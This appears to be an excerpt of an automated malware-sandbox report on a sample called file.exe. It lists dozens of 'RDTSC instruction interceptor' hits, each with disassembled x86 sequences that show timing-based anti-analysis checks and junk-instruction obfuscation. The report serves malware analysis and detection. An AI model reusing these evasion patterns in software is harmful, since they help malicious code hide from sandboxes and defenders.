Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7A52 second address: 7A7A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7D25 second address: 7A7D2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7D2B second address: 7A7D2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7E8C second address: 7A7EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654CE0FA12h 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F654CE0FA18h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7EBE second address: 7A7EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7EC2 second address: 7A7EC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7EC6 second address: 7A7ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A82CF second address: 7A82D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A82D5 second address: 7A82D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A82D9 second address: 7A82DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A82DD second address: 7A8305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E5Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnl 00007F654C734E56h 0x00000012 jo 00007F654C734E56h 0x00000018 ja 00007F654C734E56h 0x0000001e popad 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A846B second address: 7A847C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F654CE0FA0Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A873A second address: 7A8740 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A887F second address: 7A8897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 jmp 00007F654CE0FA0Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8B47 second address: 7A8B67 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F654C734E68h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8B67 second address: 7A8B82 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a jnc 00007F654CE0FA06h 0x00000010 jnl 00007F654CE0FA06h 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C7AB second address: 79C7B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F654C734E5Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8D08 second address: 7A8D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnl 00007F654CE0FA0Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A929A second address: 7A92AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F654C734E5Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A92AF second address: 7A92DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654CE0FA11h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F654CE0FA12h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9559 second address: 7A9562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9562 second address: 7A9568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9568 second address: 7A956C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9948 second address: 7A9950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9950 second address: 7A9955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9955 second address: 7A999E instructions: 0x00000000 rdtsc 0x00000002 je 00007F654CE0FA19h 0x00000008 jmp 00007F654CE0FA19h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F654CE0FA11h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A999E second address: 7A99A9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnl 00007F654C734E56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AD184 second address: 7AD18E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F654CE0FA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AC258 second address: 7AC25F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AD21F second address: 7AD223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AEBF0 second address: 7AEC20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jmp 00007F654C734E67h 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007F654C734E56h 0x00000018 jc 00007F654C734E56h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B3989 second address: 7B398E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B3EA8 second address: 7B3EC4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F654C734E56h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007F654C734E5Eh 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B3EC4 second address: 7B3ECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5847 second address: 7B584B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B584B second address: 7B5855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5855 second address: 7B5859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5859 second address: 7B585D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B585D second address: 7B586C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push ecx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5C82 second address: 7B5C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5C89 second address: 7B5C8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5C8F second address: 7B5C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5C93 second address: 7B5C97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B64DB second address: 7B64E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B64E1 second address: 7B64F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F654C734E60h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6F31 second address: 7B6F52 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F654CE0FA10h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F654CE0FA08h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BAB80 second address: 7BAB8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F654C734E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BAB8A second address: 7BAB8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB5CA second address: 7BB5CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB3A9 second address: 7BB3AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB5CE second address: 7BB61A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], eax 0x0000000d add dword ptr [ebp+122D1D90h], ebx 0x00000013 push 00000000h 0x00000015 add di, F362h 0x0000001a push 00000000h 0x0000001c pushad 0x0000001d jnc 00007F654C734E5Ch 0x00000023 mov dword ptr [ebp+1245F92Ch], edx 0x00000029 mov dword ptr [ebp+122D2593h], eax 0x0000002f popad 0x00000030 xchg eax, ebx 0x00000031 push eax 0x00000032 push edx 0x00000033 js 00007F654C734E5Ch 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB61A second address: 7BB62F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F654CE0FA06h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB62F second address: 7BB638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF306 second address: 7BF311 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F654CE0FA06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1E0C second address: 7C1E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE0C4 second address: 7BE0E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2CAA second address: 7C2CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE0E3 second address: 7BE0F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jng 00007F654CE0FA14h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2CAF second address: 7C2D04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+12447F15h], ecx 0x00000012 mov dword ptr [ebp+122D1C29h], edi 0x00000018 push 00000000h 0x0000001a or dword ptr [ebp+12474EEFh], eax 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007F654C734E58h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 00000017h 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c mov edi, 515B2000h 0x00000041 xchg eax, esi 0x00000042 push eax 0x00000043 push edx 0x00000044 push ebx 0x00000045 pushad 0x00000046 popad 0x00000047 pop ebx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2D04 second address: 7C2D09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3D32 second address: 7C3D4C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F654C734E58h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F654C734E5Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3D4C second address: 7C3D56 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3D56 second address: 7C3D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4E1F second address: 7C4E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4E23 second address: 7C4EA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a ja 00007F654C734E60h 0x00000010 nop 0x00000011 jmp 00007F654C734E63h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F654C734E58h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007F654C734E58h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 00000019h 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e push eax 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4EA0 second address: 7C4EA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4EA4 second address: 7C4EC1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F654C734E65h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6F73 second address: 7C6F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C8055 second address: 7C8059 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C7082 second address: 7C7093 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C8059 second address: 7C808F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007F654C734E67h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D1E5Ch], esi 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c jns 00007F654C734E56h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C7093 second address: 7C7099 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C808F second address: 7C8094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C7099 second address: 7C709F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C709F second address: 7C713E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 or dword ptr [ebp+122D270Dh], ebx 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F654C734E58h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 jmp 00007F654C734E5Ah 0x0000003c mov eax, dword ptr [ebp+122D0BC5h] 0x00000042 push 00000000h 0x00000044 push edi 0x00000045 call 00007F654C734E58h 0x0000004a pop edi 0x0000004b mov dword ptr [esp+04h], edi 0x0000004f add dword ptr [esp+04h], 0000001Bh 0x00000057 inc edi 0x00000058 push edi 0x00000059 ret 0x0000005a pop edi 0x0000005b ret 0x0000005c mov bl, 10h 0x0000005e mov edi, esi 0x00000060 push FFFFFFFFh 0x00000062 jmp 00007F654C734E63h 0x00000067 nop 0x00000068 jmp 00007F654C734E5Ah 0x0000006d push eax 0x0000006e pushad 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C81D4 second address: 7C81DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C713E second address: 7C7142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C81DA second address: 7C8249 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b add bx, F593h 0x00000010 xor bl, FFFFFFE0h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a sub dword ptr [ebp+122D247Dh], ebx 0x00000020 mov dword ptr [ebp+122D3247h], ebx 0x00000026 mov dword ptr fs:[00000000h], esp 0x0000002d sub dword ptr [ebp+122D1CF3h], ecx 0x00000033 mov eax, dword ptr [ebp+122D01A5h] 0x00000039 mov edi, 231EC5D2h 0x0000003e push FFFFFFFFh 0x00000040 push 00000000h 0x00000042 push edi 0x00000043 call 00007F654CE0FA08h 0x00000048 pop edi 0x00000049 mov dword ptr [esp+04h], edi 0x0000004d add dword ptr [esp+04h], 00000015h 0x00000055 inc edi 0x00000056 push edi 0x00000057 ret 0x00000058 pop edi 0x00000059 ret 0x0000005a jnl 00007F654CE0FA06h 0x00000060 clc 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 jne 00007F654CE0FA06h 0x0000006b pop eax 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9F4B second address: 7C9F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9F51 second address: 7C9FB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov di, bx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F654CE0FA08h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b mov ebx, 1CE4B338h 0x00000030 jnc 00007F654CE0FA0Ah 0x00000036 push 00000000h 0x00000038 mov ebx, dword ptr [ebp+1245F905h] 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push ebx 0x00000042 pushad 0x00000043 popad 0x00000044 pop ebx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CD63E second address: 7CD644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CD644 second address: 7CD679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F654CE0FA0Ah 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F654CE0FA0Dh 0x00000014 jmp 00007F654CE0FA14h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CD679 second address: 7CD685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F654C734E56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDC41 second address: 7CDCC8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F654CE0FA16h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F654CE0FA0Bh 0x00000011 nop 0x00000012 sub dword ptr [ebp+122D31FFh], eax 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007F654CE0FA08h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 jno 00007F654CE0FA08h 0x0000003a jmp 00007F654CE0FA19h 0x0000003f push 00000000h 0x00000041 mov bh, F0h 0x00000043 xchg eax, esi 0x00000044 jmp 00007F654CE0FA0Dh 0x00000049 push eax 0x0000004a push edi 0x0000004b push eax 0x0000004c push edx 0x0000004d push esi 0x0000004e pop esi 0x0000004f rdtsc
